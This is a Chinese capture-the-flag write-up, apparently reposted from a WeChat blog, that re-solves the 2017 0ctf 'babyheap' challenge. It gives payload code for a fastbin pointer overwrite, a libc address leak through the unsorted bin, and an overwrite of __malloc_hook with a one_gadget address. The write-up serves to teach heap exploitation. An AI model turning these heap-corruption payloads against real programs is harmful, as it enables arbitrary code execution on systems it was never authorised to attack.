再做2017_0ctf_babyheap

admin 2020年11月16日09:03:00评论295 views字数 1639阅读5分27秒阅读模式

再做2017_0ctf_babyheap


这道题之前做过一次,当时第一次接触堆利用的 PWN 题,具体 writeup 可以看之前的那篇文章 2017_0ctf_babyheap最近又看了一下这道题,发现当时根本没有理解透,所以再发一篇


发现它每次操作传入的都是 init_my() 这里来的


再做2017_0ctf_babyheap


可以在内存中找一下,他是一个保存了每个 index 的结构,后面就先称它为 index 列表了


再做2017_0ctf_babyheap

alloc(0x10)#index0
alloc(0x10)#index1
alloc(0x10)#index2
alloc(0x10)#index3
alloc(0x80)#index4
free(1)
free(2)


一开始是申请了一些 0x10 跟 0x80 大小的 chunk,然后 free 了两个,fastbin 是后进先出的所以此时的指针是这样的 fastbin[0]->index2->index1


再做2017_0ctf_babyheap

payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)
payload += p8(0x80)
fill(0, payload)


通过编辑 index0,把 index2 的 fd 指针末尾改为 0x80,那此时的指针就是 fastbin[0]->index2->index4


再做2017_0ctf_babyheap


这样就把 index4 放进来 fastbin 的链表中,再去申请的时候就申请到了 0x0000555555757080 这里


通过编辑 index3 把 index4 的 size 给改掉,改为 0x21,因为 malloc 的时候会检查 index4 的 size 是不是 fastbin 的大小范围,再去 malloc 两次,第一次是 index2 第二次就是 index4 了

payload = p64(0)*3
payload += p64(0x21)
fill(3, payload)
alloc(0x10)
alloc(0x10)


这个时候那个 index 列表是这样的,可以看到 index2 与 index4 是指向同一块的,对 index4 的操作跟 index2 的操作是等价的


再做2017_0ctf_babyheap


通过编辑 index3 修改掉 index4 的 size 位,free 的时候就可以获得 unsorted bin 啦,中间 malloc 的那个 0x80 是为了防止与 top chunk 合并

payload = p64(0)*3
payload += p64(0x91)
fill(3, payload)
alloc(0x80)
free(4)


前面我们说过,index2 与 index4 其实指向同一块的,这时候 index4 是 free 的没法 dump(4),可以通过 dump(2) 获得 unsorted bin 的地址来计算 libc 基址,此时我们的堆布局情况与 index 列表是这样的:

unsorted_addr=u64(dump(2)[:8].strip().ljust(8"x00"))
libc_base=unsorted_addr-0x3c4b20-88


再做2017_0ctf_babyheap


再去申请一个的话会从前面 index4 划分出来


再做2017_0ctf_babyheap


然后 free 掉 index4,虽然 index4 是 free 的,但是我们的 index2 也是指向 index4 那块的,所以可以通过编辑 index2 来修改 index4 来达到修改这个 free 掉的 chunk 的目的,那我们修改的内容是 main_arena-0x40+0xd,主要是为了后面能找到一个 0x7f 的 size 位来用

payload = p64(libc_base+0x3c4aed)
fill(2, payload)


再做2017_0ctf_babyheap


然后 malloc 两次就可以 malloc 到上面修改的那个地方,就可以修改 malloc_hook 的地址为 one gadget 了

payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4526a)
fill(6, payload)


这样再去 malloc 的时候就会执行 one_gadget

本文始发于微信公众号(陈冠男的游戏人生):再做2017_0ctf_babyheap

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年11月16日09:03:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   再做2017_0ctf_babyheaphttp://cn-sec.com/archives/182936.html

发表评论

匿名网友 填写信息